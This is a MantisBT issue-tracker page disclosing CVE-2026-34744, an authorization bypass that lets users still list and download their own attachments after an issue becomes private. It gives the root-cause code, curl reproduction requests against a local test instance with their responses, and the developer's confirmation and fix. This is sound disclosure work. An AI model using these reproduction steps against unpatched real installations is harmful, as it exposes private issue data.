View Issue Details

ID	Project	Category	View Status	Date Submitted	Last Update
0036977	mantisbt	security	public	2026-03-17 05:52	2026-05-09 19:56
Reporter	ninjasec	**Assigned To**	dregad		
Priority	normal	**Severity**	minor	**Reproducibility**	always
Status	closed	**Resolution**	fixed		
Product Version	2.28.1				
Target Version	2.28.2	**Fixed in Version**	2.28.2		

Summary

0036977: CVE-2026-34744: Authorization bypass allows users to read their own attachments after losing access to a private issue

Description

MantisBT permits a user to continue listing and downloading their own attachment from an issue after that issue becomes private and direct issue access is denied.

The attachment visibility logic allows a fallback for the uploader when allow_view_own_attachments or `allow_download_own_attachments is enabled` . As a result, attachment access can survive loss of issue level visibility.

In the tested instance, a low-privileged reporter user uploaded a file to issue 2 while it was public. After the issue was changed to private, the same user was correctly denied access to view.php?id=2, but could still:

- list the attachment through GET /api/rest/issues/2/files
- download the same file through GET /file_download.php?file_id=11&type=bug

This creates a post-access-loss disclosure path where issue attachment content remains accessible even though the parent issue is no longer viewable.

Affected Code

- file_api.php:240
- IssueFileGetCommand.php:57
- issues_rest.php:539
- file_download.php:125

Root Cause

file_can_view_or_download() first checks normal bug-level or bugnote-level access. If that fails, it falls back to:
$t_uploaded_by_me = auth_get_current_user_id() == $p_uploader_user_id;
return $t_uploaded_by_me && $t_view_own;

This means attachment ownership is treated as sufficient for continued access, even when the user no longer has access to the issue itself.

Steps To Reproduce

1. Log in as a low-privileged user.
2. Upload a file to an issue while the issue is public.
3. Change the issue to private.
4. Confirm the same user receives 403 Forbidden on the issue page.
5. Request the issue attachment listing and direct download endpoints with the same authenticated session.
6. Confirm the issue itself is blocked:

```
curl -i 'http://127.0.0.1:8082/view.php?id=2' \
-b 'PHPSESSID=824f757a81d6daa2babfd78f593d88e9; MANTIS_secure_session=0;
MANTIS_STRING_COOKIE=vDpDJ75wdseznutGCwiNBcTb1W7V_ZcAC-fGDVNzwmt1n5nKKkW
umlNOAjv-SpUl'
```

Response

```
HTTP/1.1 403 Forbidden
```

2. List the attachments anyway:

```
curl -i 'http://127.0.0.1:8082/api/rest/issues/2/files' \
-b 'PHPSESSID=824f757a81d6daa2babfd78f593d88e9; MANTIS_secure_session=0;
MANTIS_STRING_COOKIE=vDpDJ75wdseznutGCwiNBcTb1W7V_ZcAC-fGDVNzwmt1n5nKKkW
umlNOAjv-SpUl'
```

```
HTTP/1.1 200 OK
Host: 127.0.0.1:8082
Date: Tue, 17 Mar 2026 09:34:14 GMT
Connection: close
X-Powered-By: PHP/8.4.7
Last-Modified: Tue, 30 Dec 2025 00:12:37 GMT
Content-Type: application/json
X-Mantis-Username: reporter
X-Mantis-LoginMethod: cookie
X-Mantis-Version: 2.28.0
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Length: 282

{"files":[{"id":11,"reporter":{"id":2,"name":"reporter","real_name":"report
er","email":"reporter@localhost.me"},"created_at":"2026-03-17T14:15:43+05:3
0","filename":"issue7-curl-poc.txt","size":16,"content_type":"text\/plain;
charset=us-ascii","content":"aXNzdWU3LWN1cmwtcG9jCg=="}]}
```

3. To Download

```
curl -i 'http://127.0.0.1:8082/file_download.php?file_id=11&type=bug' \
-b 'PHPSESSID=824f757a81d6daa2babfd78f593d88e9; MANTIS_secure_session=0;
MANTIS_STRING_COOKIE=vDpDJ75wdseznutGCwiNBcTb1W7V_ZcAC-fGDVNzwmt1n5nKKkW
umlNOAjv-SpUl'
```

```
HTTP/1.1 200 OK
Host: 127.0.0.1:8082
Date: Tue, 17 Mar 2026 09:34:33 GMT
Connection: close
X-Powered-By: PHP/8.4.7
Cache-Control: private, max-age=10800
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-
src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' data:
Expires: Tue, 17 Mar 2026 09:34:33 GMT
Last-Modified: Tue, 17 Mar 2026 08:45:43 GMT
Content-Disposition:attachment; filename*=UTF-8''issue7-curl-poc.txt; filen
ame="issue7-curl-poc.txt"
Content-Type: text/plain; charset=us-ascii
Content-Length: 16
X-Content-Type-Options: nosniff

issue7-curl-poc
```

Tags	No tags attached.

Activities

dregad
2026-03-30 11:34
developer ~0070915

Vulnerability is confirmed - REST API `/issues/{issue_id}/files` endpoint can be used to list attachments, which can then be downloaded with `/issues/{issue_id}/files/{file_id}` as well as via file_download.php using a crafted request.

Advisory created https://github.com/mantisbt/mantisbt/security/advisories/GHSA-rmp5-5jj7-gmvf and CVE request sent.

dregad
2026-03-30 11:47
developer ~0070916

Proposed patch is available at https://github.com/mantisbt/mantisbt-ghsa-fvjf-68wh-rwp2/pull/1/commits/42a70a2914a10067fd524b7d80358395f35654ed (note that the private repo is linked to another advisory; I did that to minimize effort as I'm working on several security issues from the same researcher in parallel).

dregad
2026-03-31 03:06
developer ~0070922

CVE-2026-34744 assigned

Related Changesets

MantisBT: master-2.28 de7bdeec 2026-03-30 11:42 dregad Details Diff	Prevent access to private issues' file attachments Adding access checks ensuring that the user is allowed to view the attachments' parent issue, before listing or downloading them: - file_can_view_or_download() function - IssueFileGetCommand::validate() method Fixes ~~0036977~~, GHSA-rmp5-5jj7-gmvf	**Affected Issues** ~~0036977~~
	mod - core/commands/IssueFileGetCommand.php	Diff File
	mod - core/file_api.php	Diff File